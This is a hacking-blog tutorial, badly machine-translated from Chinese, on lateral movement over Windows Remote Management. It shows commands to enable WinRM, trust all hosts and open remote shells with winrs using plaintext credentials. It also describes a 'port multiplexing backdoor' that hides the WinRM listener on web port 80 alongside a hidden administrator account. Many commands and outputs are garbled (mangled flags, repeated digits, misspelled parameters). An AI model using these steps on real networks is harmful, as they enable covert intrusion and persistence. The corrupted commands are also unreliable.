Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86395312

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

基于WINRM的水平运动

WinRM介绍

WINRM(Windows Remote Management)是Microsoft的实现WS-Management协议,WS-Management协议是一种基于标准的简单对象访问协议(SOAP)的防火墙友好型协议,该协议允许来自不同供应商的硬件和操作系统可互操作。 Windows远程执行命令的众多方法之一。

作为DCOM和WMI远程管理的替代方案,WinRM用于通过WSMAN与远程计算机建立会话,WSMAN使用HTTP/S作为传输机制来传递XML-Format消息。在现代Windows系统中,WINRM HTTP通过TCP端口5985进行通信,而HTTPS(TLS)通过TCP端口5986通信。

WinRM本地支持NTLM和Kerberos(域)身份验证。初始身份验证后,使用AES加密(Microsoft Docs)保护WinRM会话。

注意:必须配置WINRM服务并运行以接受远程连接。 WinRM接受连接可能需要多个步骤。有关更多信息,请参阅此Pentest Lab文章。

Winrm横向运动适用于工作组和域环境。

用户条件

交流的双方都需要启用WinRM服务

WINR适用于Win Server 2008/Win7和后来的系统,但是Win Server 2008/PC完整版系统默认情况下关闭。

WinRM 2012之后的WinRM Service的版本启动并默认为端口5985,从而允许远程任意主机进行管理。

WINRM状态查询

12345678PS C: \ USER \ Administrator Get -WmiObject -Class Win32_Service | Where-Object {$_.name -like 'WinRM'} ExitCode : 1077Name : WinRMProcessId : 0StartMode : ManualState : StoppedStatus : OK to enable one of the following commands

12winrm QuickConfig -Q #Q#Q#在运行此命令后,将自动添加防火墙异常规则,并发布端口5985。再次启用psremoting -force查询

12345678PS C: \ USER \ Administrator Get -WmiObject -Class Win32_Service | where-object {$ _。名称-like'winrm'} exitCode : 0name : winrmprocessid : 1128StartMode : AutoState : RunningStatus : OK

服务器防火墙允许WINRM服务端口通信

ok

WinRM通信两端的可配置性要求

Default IS 5986; 5986; 5986;如果5985启动但5986关闭,则WINRM服务被配置为仅接受HTTP连接。要修改默认端口,您可以使用以下内容:

1winrm设置winrm/config/侦听器?地址=*+transper=http @{port='80'}

远程管理

1)检查WinRM的特定配置

1winrm get winrm/config2)允许所有客户端IP连接

12winrm设置winrm/config/client @{trustedhost='*'} winrm e winrm/config/linterer #view听力地址和端口

远程命令执行

您在连接远程连接时可能会遇到以下错误

123winrs error:winrm客户端无法处理请求。默认身份验证可以与以下条件下的IP地址结合使用:传输https,或者目的地在TrustedHosts列表中,并提供明确的凭据。使用winrm.cmd配置TrustedHosts。请注意,TrustedHosts列表中的计算机可能未经身份验证。有关如何设置TrustedHosts的更多信息,请运行以下命令: WINRM帮助配置。 winrs error:winrm客户端无法处理请求。如果身份验证方案与Kerberos不同,或者未连接到域的客户端计算机,则必须使用HTTPS传输,否则必须将目标计算机添加到TrustedHosts配置设置中。使用winrm.cmd配置TrustedHosts。请注意,TrustedHosts列表中的计算机可能未经身份验证。可以通过运行以下命令: WINRM帮助配置来获得有关此内容的更多信息。在攻击机上执行以下命令,将其设置为信任所有主机,然后连接

12345678910111213141516C:\Users\Administratorwinrm set winrm/config/Client @{TrustedHosts='*'} Client NetworkDelayms=5000 URLPrefix=wsman AllowUnencrypted=false Auth Basic=true Digest=true Kerberos=true Negotiate=true Certificate=true CredSSP=false DefaultPorts http=5985 https=5986 TrustedHost=*

获取交互式外壳

12C: \ USESS \ USESER \ indercandatorWinrs -R:192.168.86.114 -U33333333333333333333333333332.168.86.114.114! whoamiwin -win7 \管理员

使用工具

12345678911111213141516171920C3333: \ USERS \ ascristaratorWinrs -R3:192.168.86.86.114 -U3333:192.192.192.1192.1162.1146.114 \ \ \ \ f. -3360123456!@#$%cmdmicrosoft Windows [版本6.1.7601]保留所有权利(C)2009 Microsoft Corporation。版权所有。 C: \ Users \ aDministoratorIpConfigWindows IP配置以太网适配器本地连接:连接到特定的DNS后缀。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。 。

https://github.com/bohops/wsman-winrm

WSMAN-WINRM

模块功能

目标端口

目标系统

用法教程

Winrm爆炸

港口5985/5986

视窗

http://K8GE.org/ladon/winrmscan.html

winrmexec

5985

视窗

http://K8GE.org/ladon/winrmexec.html

拉登

其他实用程序

如果目标打开WinRM,则可以使用Peekaboo工具启用目标3389

打开远程主机3389

即使端口是Web服务,它也不会影响Web服务。使用如下

1)配置目标winrm服务,更改听力端口以启用重复使用

12winrm设置winrm/config/listorer?地址=*+transport=http @{port='80'} winrm set winrm/config/config/service @{enableCompatibalizyhtttplistener='true'} 2)链接目标

1Winrs -R:192.168.86.114 -U:192.168.86.114 \ Administrator -:123456!@$%whoami此方法适用于Web Services的机器。它不会打开新端口。它与添加隐藏的管理员用户合作,这是非常隐藏的。

端口多路复用后门

http://T3NGYU.leanote.com/post/lm-winrm-winrs

https://bohops.com/2020/05/12/ws-management-com-another-apphach-for-winrm-lateral-movement/

https://xz.aliyun.com/t/6888

https://www.cnblogs.com/mo-/p/12019314.html